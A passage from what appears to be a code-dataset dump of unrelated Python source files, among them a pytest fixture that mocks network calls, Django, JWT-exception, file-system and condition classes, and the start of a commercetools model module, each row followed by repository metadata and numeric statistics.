return End(builder) | 36.924051 | 125 | 0.675009 | 338 | 2,917 | 5.739645 | 0.236686 | 0.036082 | 0.037113 | 0.068041 | 0.458247 | 0.458247 | 0.394845 | 0.320619 | 0.276289 | 0.276289 | 0 | 0.018592 | 0.225574 | 2,917 | 79 | 126 | 36.924051 | 0.840195 | 0.162153 | 0 | 0.396552 | 1 | 0 | 0.00166 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.275862 | false | 0 | 0.103448 | 0.017241 | 0.637931 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
ac5af6cafee52170869a4befcf58d241b0347c9c | 420 | py | Python | tests/conftest.py | norayr/shcli | 8df49deeb8d777bcddf41d3afbf41e70e3569b41 | [
"MIT"
] | 6 | 2017-08-14T09:27:43.000Z | 2021-03-26T14:45:46.000Z | tests/conftest.py | norayr/shcli | 8df49deeb8d777bcddf41d3afbf41e70e3569b41 | [
"MIT"
] | null | null | null | tests/conftest.py | norayr/shcli | 8df49deeb8d777bcddf41d3afbf41e70e3569b41 | [
"MIT"
] | 2 | 2018-11-19T05:19:04.000Z | 2021-03-26T14:45:50.000Z | from unittest.mock import Mock
import pytest
@pytest.fixture(autouse=True)
def disable_network_calls(monkeypatch):
"""Disable network calls."""
monkeypatch.setattr("requests.post", Mock())
class MockResponse(str):
status_code = 200
text = ""
@staticmethod
def raise_for_status():
pass
monkeypatch.setattr("requests.get", Mock(return_value=MockResponse))
| 21 | 72 | 0.666667 | 45 | 420 | 6.088889 | 0.666667 | 0.072993 | 0.138686 | 0.218978 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009202 | 0.22381 | 420 | 19 | 73 | 22.105263 | 0.831288 | 0.052381 | 0 | 0 | 0 | 0 | 0.063776 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0.083333 | 0.166667 | 0 | 0.583333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
ac8277b30a0531e25515d4407e608a6ba2490d03 | 197 | py | Python | Assistant/urls.py | gauravdhingra99/English_Grammer_Asssitant | 8d4d870ac72cd1c276a45d6348207e2ac22eaf86 | [
"MIT"
] | null | null | null | Assistant/urls.py | gauravdhingra99/English_Grammer_Asssitant | 8d4d870ac72cd1c276a45d6348207e2ac22eaf86 | [
"MIT"
] | 7 | 2020-06-05T20:02:18.000Z | 2021-09-22T18:05:11.000Z | Assistant/urls.py | gauravdhingra99/English_Grammer_Asssitant | 8d4d870ac72cd1c276a45d6348207e2ac22eaf86 | [
"MIT"
] | 2 | 2019-12-04T10:19:38.000Z | 2020-11-06T06:32:52.000Z | from django.urls import path, include
from Assistant.views import GrammerCheckView, PosView
urlpatterns = [
path('check/', GrammerCheckView.as_view()),
path('pos/', PosView.as_view()),
]
| 21.888889 | 53 | 0.720812 | 23 | 197 | 6.086957 | 0.652174 | 0.085714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142132 | 197 | 8 | 54 | 24.625 | 0.828402 | 0 | 0 | 0 | 0 | 0 | 0.050761 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
3bb0dab67d8b968c4163c02423c58657494b1a68 | 662 | py | Python | b2sdk/v0/__init__.py | thegisexpert/b2-sdk-python | 9a4db689b5aeb905a5daa6375c5ebee8cdce9a00 | [
"MIT"
] | null | null | null | b2sdk/v0/__init__.py | thegisexpert/b2-sdk-python | 9a4db689b5aeb905a5daa6375c5ebee8cdce9a00 | [
"MIT"
] | null | null | null | b2sdk/v0/__init__.py | thegisexpert/b2-sdk-python | 9a4db689b5aeb905a5daa6375c5ebee8cdce9a00 | [
"MIT"
] | null | null | null | ######################################################################
#
# File: b2sdk/v0/__init__.py
#
# Copyright 2019 Backblaze Inc. All Rights Reserved.
#
# License https://www.backblaze.com/using_b2_code.html
#
######################################################################
from b2sdk.v1 import *
from b2sdk.v0.account_info import AbstractAccountInfo, InMemoryAccountInfo, UrlPoolAccountInfo, SqliteAccountInfo
from b2sdk.v0.api import B2Api
from b2sdk.v0.bucket import Bucket
from b2sdk.v0.bucket import BucketFactory
from b2sdk.v0.sync import Synchronizer
from b2sdk.v0.sync import make_folder_sync_actions
from b2sdk.v0.sync import sync_folders
| 34.842105 | 113 | 0.645015 | 75 | 662 | 5.546667 | 0.52 | 0.134615 | 0.185096 | 0.108173 | 0.262019 | 0 | 0 | 0 | 0 | 0 | 0 | 0.039604 | 0.084592 | 662 | 18 | 114 | 36.777778 | 0.646865 | 0.196375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
3bbca6c6e8c8f300d4b49dffe7a938beef4a164a | 635 | py | Python | packages/syft/src/syft/core/node/common/node_table/entity.py | vishalbelsare/PySyft | fb04404fcfbef82fad1fb47407b35a24e9afb599 | [
"Apache-1.1"
] | 8,428 | 2017-08-10T09:17:49.000Z | 2022-03-31T08:20:14.000Z | packages/syft/src/syft/core/node/common/node_table/entity.py | vishalbelsare/PySyft | fb04404fcfbef82fad1fb47407b35a24e9afb599 | [
"Apache-1.1"
] | 4,779 | 2017-08-09T23:19:00.000Z | 2022-03-29T11:49:36.000Z | packages/syft/src/syft/core/node/common/node_table/entity.py | vishalbelsare/PySyft | fb04404fcfbef82fad1fb47407b35a24e9afb599 | [
"Apache-1.1"
] | 2,307 | 2017-08-10T08:52:12.000Z | 2022-03-30T05:36:07.000Z | # stdlib
from typing import Any
# third party
from sqlalchemy import Column
from sqlalchemy import LargeBinary
from sqlalchemy import String
# relative
from . import Base
from ..... import deserialize
from ..... import serialize
class Entity(Base):
__tablename__ = "entity"
name = Column(String(255), primary_key=True)
entity_bin = Column(LargeBinary(3072))
@property
def obj(self) -> Any:
return deserialize(self.entity_bin, from_bytes=True) # TODO: techdebt fix
@obj.setter
def obj(self, value: Any) -> None:
self.entity_bin = serialize(value, to_bytes=True) # TODO: techdebt fix
| 22.678571 | 82 | 0.702362 | 81 | 635 | 5.382716 | 0.469136 | 0.09633 | 0.137615 | 0.09633 | 0.110092 | 0 | 0 | 0 | 0 | 0 | 0 | 0.01378 | 0.2 | 635 | 27 | 83 | 23.518519 | 0.844488 | 0.102362 | 0 | 0 | 0 | 0 | 0.010638 | 0 | 0 | 0 | 0 | 0.037037 | 0 | 1 | 0.117647 | false | 0 | 0.411765 | 0.058824 | 0.823529 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
3bd418211b2ced43946e682184ac407f03d62476 | 1,964 | py | Python | krogon/file_system.py | enamrik/krogon | a41a10ed346b7198509929ed9ba1e9fcf778dc78 | [
"MIT"
] | 1 | 2020-03-02T14:17:02.000Z | 2020-03-02T14:17:02.000Z | krogon/file_system.py | enamrik/krogon | a41a10ed346b7198509929ed9ba1e9fcf778dc78 | [
"MIT"
] | null | null | null | krogon/file_system.py | enamrik/krogon | a41a10ed346b7198509929ed9ba1e9fcf778dc78 | [
"MIT"
] | null | null | null | from typing import Callable, Optional, Any
import krogon.either as E
import os
import glob as gb
import tempfile
import glob
class FileSystem:
def __init__(self): pass
def with_temp_file(self, contents: str, filename: str, runner: Callable[[str], E.Either[Any, Any]]):
with tempfile.TemporaryDirectory() as tmp_dirname:
file_path = tmp_dirname + '/' + filename
self.write(file_path, contents)
return runner(file_path)
def path_rel_to_app_dir(self, file_path: str) -> str:
return self.path_rel_to_file(file_path, __file__)
def path_rel_to_file(self, file_path: str, file_name: str) -> str:
return os.path.dirname(os.path.abspath(file_name))+'/'+file_path
def path_rel_to_cwd(self, file_path: str):
return os.path.abspath(self.cwd()+'/'+file_path)
def read(self, file_path: str) -> str:
with open(file_path) as f:
return f.read()
def write(self, file_path: str, content: str, flags: Optional[str] = 'w') -> None:
with open(file_path, flags) as file:
file.write(content)
def delete(self, file_path: str) -> None:
if os.path.exists(file_path):
os.remove(file_path)
def exists(self, file_path: str) -> bool:
return os.path.exists(file_path)
def mkdir(self, folder: str) -> None:
os.mkdir(folder)
def cwd(self) -> str:
return os.getcwd()
def glob(self, path: str):
return gb.glob(path)
def dirname(self, path):
return os.path.dirname(path)
def files_in(self, directory):
return glob.glob(directory+'/*')
def directories_in(self, directory):
return [name for name in os.listdir(directory)
if os.path.isdir(os.path.join(directory, name))]
def ensure_path(self, directory):
if not self.exists(directory):
self.mkdir(directory)
def file_system():
return FileSystem()
| 28.882353 | 104 | 0.636456 | 276 | 1,964 | 4.351449 | 0.23913 | 0.1199 | 0.069942 | 0.087427 | 0.096586 | 0.033306 | 0 | 0 | 0 | 0 | 0 | 0 | 0.244908 | 1,964 | 67 | 105 | 29.313433 | 0.809845 | 0 | 0 | 0 | 0 | 0 | 0.003055 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.354167 | false | 0.020833 | 0.125 | 0.208333 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
3be3ca5c01af5aea18b4308585afd716fe42c1e1 | 989 | py | Python | turbulette/apps/auth/exceptions.py | turbulette/turbulette | 32e2d0c18e4dd679a8bf9a3aa72eabe113328015 | [
"BSD-3-Clause"
] | 31 | 2020-12-21T23:55:14.000Z | 2022-03-04T12:57:10.000Z | turbulette/apps/auth/exceptions.py | turbulette/turbulette | 32e2d0c18e4dd679a8bf9a3aa72eabe113328015 | [
"BSD-3-Clause"
] | 57 | 2020-12-06T16:51:06.000Z | 2022-02-14T22:10:40.000Z | turbulette/apps/auth/exceptions.py | gazorby/turbulette | 32e2d0c18e4dd679a8bf9a3aa72eabe113328015 | [
"BSD-3-Clause"
] | 3 | 2020-12-02T17:29:04.000Z | 2021-04-13T16:02:30.000Z | """Exceptions raised when encoding/decoding JWTs."""
from turbulette.errors import BaseError, ErrorCode
class JWTDecodeError(BaseError):
error_code = ErrorCode.JWT_INVALID
class JWTInvalidSignature(BaseError):
error_code = ErrorCode.JWT_INVALID_SINATURE
class JWTExpired(BaseError):
error_code = ErrorCode.JWT_EXPIRED
class JWTNoUsername(BaseError):
error_code = ErrorCode.JWT_USERNAME_NOT_FOUND
class JWTInvalidPrefix(BaseError):
error_code = ErrorCode.JWT_INVALID_PREFIX
class JWTNotFound(BaseError):
error_code = ErrorCode.JWT_NOT_FOUND
class JWTNotFresh(BaseError):
error_code = ErrorCode.JWT_NOT_FRESH
class JWTInvalidTokenType(BaseError):
error_code = ErrorCode.JWT_INVALID_TOKEN_TYPE
class FieldNotAllowed(BaseError):
error_code = ErrorCode.FIELD_NOT_ALLOWED
class JWEInvalidToken(BaseError):
error_code = ErrorCode.JWE_INVALID_TOKEN
class JWEDecryptionError(BaseError):
error_code = ErrorCode.JWE_DECRYPTION_ERROR
| 20.604167 | 52 | 0.800809 | 111 | 989 | 6.837838 | 0.369369 | 0.202899 | 0.26087 | 0.391304 | 0.440053 | 0.28195 | 0 | 0 | 0 | 0 | 0 | 0 | 0.133468 | 989 | 47 | 53 | 21.042553 | 0.885648 | 0.046512 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.043478 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
3bf95357834c88f95b8f39d40384539652950fe9 | 2,138 | py | Python | program/condition/and_cond.py | probing-lab/polar | 30a7ae05da5364fa65b1609f31f9b108113ab4ae | [
"MIT"
] | 2 | 2021-10-06T13:29:24.000Z | 2021-11-11T19:42:43.000Z | program/condition/and_cond.py | daneshvar-amrollahi/polar | b72254e1a8354e6a10135cd3990b8edfda02559e | [
"MIT"
] | 1 | 2022-01-26T15:58:28.000Z | 2022-01-28T13:47:28.000Z | program/condition/and_cond.py | daneshvar-amrollahi/polar | b72254e1a8354e6a10135cd3990b8edfda02559e | [
"MIT"
] | 2 | 2021-10-01T15:08:52.000Z | 2022-03-15T14:10:06.000Z | from .condition import Condition
from .true_cond import TrueCond
class And(Condition):
cond1: Condition
cond2: Condition
def __init__(self, cond1, cond2):
self.cond1 = cond1
self.cond2 = cond2
def simplify(self):
self.cond1 = self.cond1.simplify()
self.cond2 = self.cond2.simplify()
if isinstance(self.cond1, TrueCond):
return self.cond2
if isinstance(self.cond2, TrueCond):
return self.cond1
return self
def reduce(self, store):
return self.cond1.reduce(store) + self.cond2.reduce(store)
def get_normalized(self, program):
self.cond1, failed_atoms1 = self.cond1.get_normalized(program)
self.cond2, failed_atoms2 = self.cond2.get_normalized(program)
return self, failed_atoms1 + failed_atoms2
def subs(self, substitutions):
self.cond1.subs(substitutions)
self.cond2.subs(substitutions)
def evaluate(self, state):
return self.cond1.evaluate(state) and self.cond2.evaluate(state)
def get_conjuncts(self):
return self.cond1.get_conjuncts() + self.cond2.get_conjuncts()
def to_arithm(self, p):
return self.cond1.to_arithm(p) * self.cond2.to_arithm(p)
def get_free_symbols(self):
return self.cond1.get_free_symbols() | self.cond2.get_free_symbols()
def is_implied_by_loop_guard(self):
if self.is_loop_guard:
return True
return self.cond1.is_implied_by_loop_guard() and self.cond1.is_implied_by_loop_guard()
def get_loop_guard(self):
if self.is_loop_guard:
return self.copy()
cond1_guard = self.cond1.get_loop_guard()
return cond1_guard if cond1_guard is not None else self.cond2.get_loop_guard()
def __str__(self):
return f"({self.cond1} ∧ {self.cond2})"
def __eq__(self, obj):
return isinstance(obj, And) and (self.cond1, self.cond2) == (obj.cond1, obj.cond2)
def __hash__(self):
return hash(("AND", self.cond1, self.cond2))
def __simple_copy__(self):
return And(self.cond1.copy(), self.cond2.copy())
| 31.441176 | 94 | 0.661833 | 285 | 2,138 | 4.736842 | 0.178947 | 0.14 | 0.077778 | 0.033333 | 0.168148 | 0.096296 | 0.096296 | 0.053333 | 0.053333 | 0 | 0 | 0.032278 | 0.231993 | 2,138 | 67 | 95 | 31.910448 | 0.789281 | 0 | 0 | 0.04 | 0 | 0 | 0.014967 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.3 | false | 0 | 0.04 | 0.18 | 0.74 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
3bfb599a7065f6b5355ce4fbf610b7beb2ae29d0 | 566 | py | Python | fam_django/home/models.py | siddharth952/Fampay-yt | 3f73cb92b8ae803b4bba36e3cb4d6e6ceb90fe3d | [
"MIT"
] | null | null | null | fam_django/home/models.py | siddharth952/Fampay-yt | 3f73cb92b8ae803b4bba36e3cb4d6e6ceb90fe3d | [
"MIT"
] | null | null | null | fam_django/home/models.py | siddharth952/Fampay-yt | 3f73cb92b8ae803b4bba36e3cb4d6e6ceb90fe3d | [
"MIT"
] | null | null | null | from django.contrib.auth.models import User
from django.db import models
from django.utils import timezone
from django.contrib.auth.models import User
class Video(models.Model):
title = models.CharField(max_length=50)
description = models.TextField(max_length=2000)
publishTime = models.DateTimeField(default=timezone.now)
thumbnail_url = models.CharField(max_length=350)
url = models.CharField(max_length=200)
channelTitle = models.CharField(max_length=100)
def __str__(self):
return self.title + ' by ' + self.channelTitle | 37.733333 | 60 | 0.754417 | 74 | 566 | 5.635135 | 0.486486 | 0.107914 | 0.172662 | 0.230216 | 0.306954 | 0.177458 | 0.177458 | 0 | 0 | 0 | 0 | 0.031315 | 0.15371 | 566 | 15 | 61 | 37.733333 | 0.839248 | 0 | 0 | 0.153846 | 0 | 0 | 0.007055 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.076923 | false | 0 | 0.307692 | 0.076923 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
ce013da4990afbb65b761d6f9a492f1bb44d3992 | 415 | py | Python | Python/creational_patterns/abstract_factory/list_factory/list_link.py | ploukareas/Design-Patterns | 8effde38d73ae9058c3028c97ef395644a90d55b | [
"BSD-3-Clause",
"MIT"
] | 28 | 2018-09-28T07:45:35.000Z | 2022-02-12T12:25:05.000Z | Python/creational_patterns/abstract_factory/list_factory/list_link.py | ploukareas/Design-Patterns | 8effde38d73ae9058c3028c97ef395644a90d55b | [
"BSD-3-Clause",
"MIT"
] | null | null | null | Python/creational_patterns/abstract_factory/list_factory/list_link.py | ploukareas/Design-Patterns | 8effde38d73ae9058c3028c97ef395644a90d55b | [
"BSD-3-Clause",
"MIT"
] | 5 | 2021-05-10T23:19:55.000Z | 2022-03-04T20:26:35.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# ˅
from creational_patterns.abstract_factory.factory.link import Link
# ˄
class ListLink(Link):
# ˅
# ˄
def __init__(self, name, url):
# ˅
super().__init__(name, url)
# ˄
def to_html(self):
# ˅
return ' <li><a href="' + self.url + '">' + self.name + '</a></li>\n'
# ˄
# ˅
# ˄
# ˅
# ˄
| 12.96875 | 78 | 0.457831 | 55 | 415 | 3.472727 | 0.563636 | 0.031414 | 0.031414 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00365 | 0.339759 | 415 | 31 | 79 | 13.387097 | 0.649635 | 0.159036 | 0 | 0 | 0 | 0 | 0.083582 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.166667 | 0.166667 | 0.833333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
ce0347d0611ed1253455a6dbee338de5c52ca49e | 253 | py | Python | FridayChatBot/bot.py | Programmer-Sidharth/FridayChatBot | 7bef7561f61333bfa5e048017a89e04100ae1776 | [
"MIT"
] | null | null | null | FridayChatBot/bot.py | Programmer-Sidharth/FridayChatBot | 7bef7561f61333bfa5e048017a89e04100ae1776 | [
"MIT"
] | null | null | null | FridayChatBot/bot.py | Programmer-Sidharth/FridayChatBot | 7bef7561f61333bfa5e048017a89e04100ae1776 | [
"MIT"
] | null | null | null | from .tasks import *
class Bot:
def __init__(self, BotName, user, email, address):
self.BotName = BotName
self.user = user
self.email = email
self.address = address
def ask(self, task, question):
return task.work(question) | 21.083333 | 52 | 0.660079 | 33 | 253 | 4.939394 | 0.515152 | 0.134969 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.237154 | 253 | 12 | 53 | 21.083333 | 0.84456 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.111111 | 0.111111 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
ce1a5242520e01fcb955763918ff8f854ad13e90 | 178 | py | Python | Python3/test_01.py | trashbyte/euler | b9643e71e4b8d06cdb8137bc521fedab34e5645f | [
"MIT"
] | null | null | null | Python3/test_01.py | trashbyte/euler | b9643e71e4b8d06cdb8137bc521fedab34e5645f | [
"MIT"
] | null | null | null | Python3/test_01.py | trashbyte/euler | b9643e71e4b8d06cdb8137bc521fedab34e5645f | [
"MIT"
] | null | null | null | def solution():
sum = 0
for i in range(0,1000):
if i % 3 == 0 or i % 5 == 0: sum += i
return sum
def test_MultiplesOf3And5():
assert solution() == 233168 | 22.25 | 45 | 0.550562 | 28 | 178 | 3.464286 | 0.642857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.147541 | 0.314607 | 178 | 8 | 46 | 22.25 | 0.647541 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 1 | 0.285714 | false | 0 | 0 | 0 | 0.428571 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
ce1fd988ea5dd16d6b9d2a31f29450ada3f959bd | 134 | py | Python | multiobject/_version.py | GpNico/MultiObjectDatasetCreator | bfe505e06c66a88da7bbe1530b9300ca47028200 | [
"MIT"
] | 4 | 2020-01-06T08:50:04.000Z | 2021-12-06T08:41:13.000Z | multiobject/_version.py | GpNico/MultiObjectDatasetCreator | bfe505e06c66a88da7bbe1530b9300ca47028200 | [
"MIT"
] | 2 | 2021-06-08T20:48:25.000Z | 2021-09-08T01:35:58.000Z | multiobject/_version.py | GpNico/MultiObjectDatasetCreator | bfe505e06c66a88da7bbe1530b9300ca47028200 | [
"MIT"
] | 2 | 2020-11-19T14:20:29.000Z | 2021-01-12T12:00:44.000Z | __all__ = ["__version__", "__version_info__"]
__version__ = "0.0.3"
__version_info__ = tuple(int(x) for x in __version__.split("."))
| 26.8 | 64 | 0.708955 | 18 | 134 | 3.833333 | 0.611111 | 0.318841 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02521 | 0.11194 | 134 | 4 | 65 | 33.5 | 0.554622 | 0 | 0 | 0 | 0 | 0 | 0.246269 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
ce2254fb627e25c68c6cea60e4ad2d54c2a44a57 | 145 | py | Python | hardware/chip/rtl872xd/hal/hal_test/uart/ucube.py | wstong999/AliOS-Things | 6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9 | [
"Apache-2.0"
] | 4,538 | 2017-10-20T05:19:03.000Z | 2022-03-30T02:29:30.000Z | hardware/chip/rtl872xd/hal/hal_test/uart/ucube.py | wstong999/AliOS-Things | 6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9 | [
"Apache-2.0"
] | 1,088 | 2017-10-21T07:57:22.000Z | 2022-03-31T08:15:49.000Z | hardware/chip/rtl872xd/hal/hal_test/uart/ucube.py | wstong999/AliOS-Things | 6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9 | [
"Apache-2.0"
] | 1,860 | 2017-10-20T05:22:35.000Z | 2022-03-27T10:54:14.000Z | src = Split('''
uart_test.c
''')
component = aos_component('uart_test', src)
component.add_cflags('-Wall')
component.add_cflags('-Werror')
| 16.111111 | 43 | 0.689655 | 19 | 145 | 5 | 0.578947 | 0.168421 | 0.378947 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.117241 | 145 | 8 | 44 | 18.125 | 0.742188 | 0 | 0 | 0 | 0 | 0 | 0.262069 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
ce260c8c04c77f93fbe4245973856b54633fba0c | 119,039 | py | Python | src/commercetools/platform/models/me.py | lime-green/commercetools-python-sdk | 63b77f6e5abe43e2b3ebbf3cdbbe00c7cf80dca6 | [
"MIT"
] | 1 | 2021-04-07T20:01:30.000Z | 2021-04-07T20:01:30.000Z | src/commercetools/platform/models/me.py | lime-green/commercetools-python-sdk | 63b77f6e5abe43e2b3ebbf3cdbbe00c7cf80dca6 | [
"MIT"
] | null | null | null | src/commercetools/platform/models/me.py | lime-green/commercetools-python-sdk | 63b77f6e5abe43e2b3ebbf3cdbbe00c7cf80dca6 | [
"MIT"
] | null | null | null | # Generated file, please do not change!!!
import datetime
import enum
import typing
from ._abstract import _BaseType
from .cart import (
CartOrigin,
CartState,
InventoryMode,
RoundingMode,
TaxCalculationMode,
TaxMode,
)
from .common import BaseResource
from .order import OrderState, PaymentState, ShipmentState
from .payment import TransactionType
if typing.TYPE_CHECKING:
from .cart import (
CartOrigin,
CartReference,
CartState,
CustomLineItem,
DiscountCodeInfo,
ExternalLineItemTotalPrice,
ExternalTaxRateDraft,
InventoryMode,
ItemShippingDetailsDraft,
ItemShippingTarget,
LineItem,
RoundingMode,
ShippingInfo,
ShippingRateInput,
TaxCalculationMode,
TaxedPrice,
TaxMode,
)
from .cart_discount import CartDiscountReference
from .channel import ChannelResourceIdentifier
from .common import (
Address,
CreatedBy,
LastModifiedBy,
LocalizedString,
Money,
TypedMoney,
)
from .customer import CustomerReference
from .customer_group import CustomerGroupReference
from .discount_code import DiscountCodeReference
from .order import (
OrderState,
PaymentInfo,
PaymentState,
ReturnInfo,
ShipmentState,
SyncInfo,
)
from .payment import (
PaymentMethodInfo,
PaymentResourceIdentifier,
Transaction,
TransactionDraft,
TransactionType,
)
from .shipping_method import ShippingMethodResourceIdentifier, ShippingRateDraft
from .shopping_list import ShoppingListLineItemDraft, TextLineItemDraft
from .state import StateReference
from .store import StoreKeyReference, StoreResourceIdentifier
from .tax_category import TaxCategoryResourceIdentifier
from .type import (
CustomFields,
CustomFieldsDraft,
FieldContainer,
TypeResourceIdentifier,
)
__all__ = [
"MyCart",
"MyCartAddDiscountCodeAction",
"MyCartAddItemShippingAddressAction",
"MyCartAddLineItemAction",
"MyCartAddPaymentAction",
"MyCartApplyDeltaToLineItemShippingDetailsTargetsAction",
"MyCartChangeLineItemQuantityAction",
"MyCartChangeTaxModeAction",
"MyCartDraft",
"MyCartRecalculateAction",
"MyCartRemoveDiscountCodeAction",
"MyCartRemoveItemShippingAddressAction",
"MyCartRemoveLineItemAction",
"MyCartRemovePaymentAction",
"MyCartSetBillingAddressAction",
"MyCartSetCountryAction",
"MyCartSetCustomFieldAction",
"MyCartSetCustomShippingMethodAction",
"MyCartSetCustomTypeAction",
"MyCartSetDeleteDaysAfterLastModificationAction",
"MyCartSetLineItemCustomFieldAction",
"MyCartSetLineItemCustomTypeAction",
"MyCartSetLineItemDistributionChannelAction",
"MyCartSetLineItemShippingDetailsAction",
"MyCartSetLocaleAction",
"MyCartSetShippingAddressAction",
"MyCartSetShippingMethodAction",
"MyCartUpdate",
"MyCartUpdateAction",
"MyCartUpdateItemShippingAddressAction",
"MyCustomer",
"MyCustomerAddAddressAction",
"MyCustomerAddBillingAddressIdAction",
"MyCustomerAddShippingAddressIdAction",
"MyCustomerChangeAddressAction",
"MyCustomerChangeEmailAction",
"MyCustomerDraft",
"MyCustomerRemoveAddressAction",
"MyCustomerRemoveBillingAddressIdAction",
"MyCustomerRemoveShippingAddressIdAction",
"MyCustomerSetCompanyNameAction",
"MyCustomerSetCustomFieldAction",
